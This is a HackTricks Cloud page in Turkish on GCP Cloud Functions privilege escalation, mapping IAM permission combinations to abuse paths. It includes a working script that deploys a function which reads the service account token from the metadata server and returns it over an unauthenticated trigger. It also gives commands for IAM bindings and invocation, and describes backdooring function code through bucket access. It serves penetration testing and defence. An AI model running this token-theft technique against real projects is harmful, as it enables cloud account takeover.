GCP - Cloudfunctions Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
cloudfunctions
Cloud Functions hakkında daha fazla bilgi:
cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Bu ayrıcalıklara sahip bir saldırgan istenilen (zararlı) kodla yeni bir Cloud Function oluşturabilir ve ona bir Service Account atayabilir. Sonra, Service Account token’ını metadata’dan leak ederek o hesaba yetki yükseltebilir.
Fonksiyonu tetiklemek için bazı ayrıcalıklar gerekebilir.
Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.
cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Bu ayrıcalıklara sahip bir saldırgan bir Function’ın kodunu değiştirebilir ve hatta iliştirilmiş Service Account’u token’ı exfiltrating etmek amacıyla değiştirebilir.
Caution
Cloud functions deploy etmek için ayrıca default compute service account veya imajı build etmek için kullanılan service account üzerinde actAs izinlerine ihtiyaç vardır.
Fonksiyonu tetiklemek için version 1 cloudfunctions için .call izni veya role/run.invoker rolü gibi ek ayrıcalıklar gerekebilir.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
Caution
Eğer
Permission 'run.services.setIamPolicy' denied on resource...hatasını alıyorsanız, bunun nedeni--allow-unauthenticatedparametresini kullanmanız ve bunun için yeterli izinlere sahip olmamanızdır.
The exploit script for this method can be found here.
cloudfunctions.functions.sourceCodeSet
Bu izin ile bir fonksiyon bucket’ına dosya yükleyebilmek için imzalı bir URL alabilirsiniz (ancak fonksiyonun kodu değiştirilmeyecek, yine de güncellemeniz gerekir)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Bu iznin tek başına attackers’ın bakış açısından ne kadar kullanışlı olduğunu pek bilmiyorum, ama bilmek iyi.
cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs
Yükselmek için kendinize önceki herhangi bir .update veya .create ayrıcalığını verin.
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
cloudfunctions.functions.update
Sadece cloudfunctions izinlerine sahip olmak, iam.serviceAccounts.actAs izni olmadan fonksiyonu güncelleyemezsiniz; BU YÜZDEN BU GEÇERLİ BİR PRIVESC DEĞİLDİR.
Fonksiyonları çağırma
cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, ve run.routes.invoke izinlerine sahip bir kimlik, Cloud Functions’ı doğrudan çağırabilir. Ayrıca fonksiyonun genel trafiğe izin vermesi veya çağıranın fonksiyonla aynı ağ içinde olması gerekir.
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
Bucket üzerinde Okuma & Yazma Erişimi
Eğer bucket üzerinde okuma ve yazma erişiminiz varsa koddaki değişiklikleri izleyebilir ve bucket’ta bir güncelleme olduğunda yeni kodu kendi kodunuzla güncelleyebilirsiniz; böylece Cloud Function’ın yeni versiyonu yüklenmiş backdoor’lu kod ile çalıştırılır.
Saldırı hakkında daha fazlasını şurada inceleyebilirsiniz:
Ancak bunu üçüncü taraf Cloud Function’ları önceden ele geçirmek için kullanamazsınız çünkü eğer bucket’ı kendi hesabınızda oluşturup dış projenin üzerine yazabilmesi için herkese açık izin verirseniz, aşağıdaki hatayı alırsınız:
 (1) (1).png)
Caution
Ancak bu, DoS saldırıları için kullanılabilir.
Artifact Registry üzerinde Okuma & Yazma Erişimi
Bir Cloud Function oluşturulduğunda projenin Artifact Registry’sine yeni bir docker image gönderilir. Image’ı yeni bir tane ile değiştirmeyi denedim, hatta mevcut image’ı (ve cache image’ını) sildim ama hiçbir şey değişmedi, cloud function çalışmaya devam etti. Bu nedenle, bucket’ta olduğu gibi çalıştırılacak docker container’ı değiştirmek için Race Condition attack suistimal etmek mümkün olabilir ama saklanan image’ı sadece değiştirmek Cloud Function’ı ele geçirmek için yeterli değildir.
References
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

